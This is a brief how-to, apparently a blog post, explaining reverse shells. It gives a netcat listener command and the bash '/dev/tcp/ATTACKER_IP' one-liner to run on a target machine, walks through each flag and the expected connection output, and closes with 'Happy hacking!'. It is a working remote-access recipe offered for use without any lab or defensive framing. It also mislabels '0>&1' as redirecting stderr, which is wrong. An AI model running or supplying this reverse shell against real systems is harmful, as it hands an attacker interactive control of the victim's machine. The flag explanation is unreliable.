🔁 What is a Reverse Shell?
A reverse shell is a connection initiated from the target back to the attacker.
Useful in cases where the target is behind NAT or a firewall.
📥 Step 1: Start a Listener
On your attacker machine (Kali, VPS, Oracle Cloud, etc.), open a port to receive the connection:
nc -lvnp 12345
-l → listen mode
-v → verbose
-n → skip DNS
-p 12345 → port to listen on
✅ Important: If you’re using Oracle Cloud, AWS, or any VPS, you must manually open the port (e.g., 12345) in your security rules / firewall settings.
📥 Step2: Run the Reverse Shell
On the target machine (Linux, Windows, macOS, etc.), run the following command:
bash -i >& /dev/tcp/ATTACKER_IP/12345 0>&1
bash -i → start an interactive shell
>& /dev/tcp/ATTACKER_IP/12345 → redirect stdin and stdout to the attacker's IP and port
0>&1 → redirect stderr to stdout
🔗 Note: Replace ATTACKER_IP
with your IP address.
If everything is correct, you’ll see a connection like:
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 12345
Happy hacking! 🎉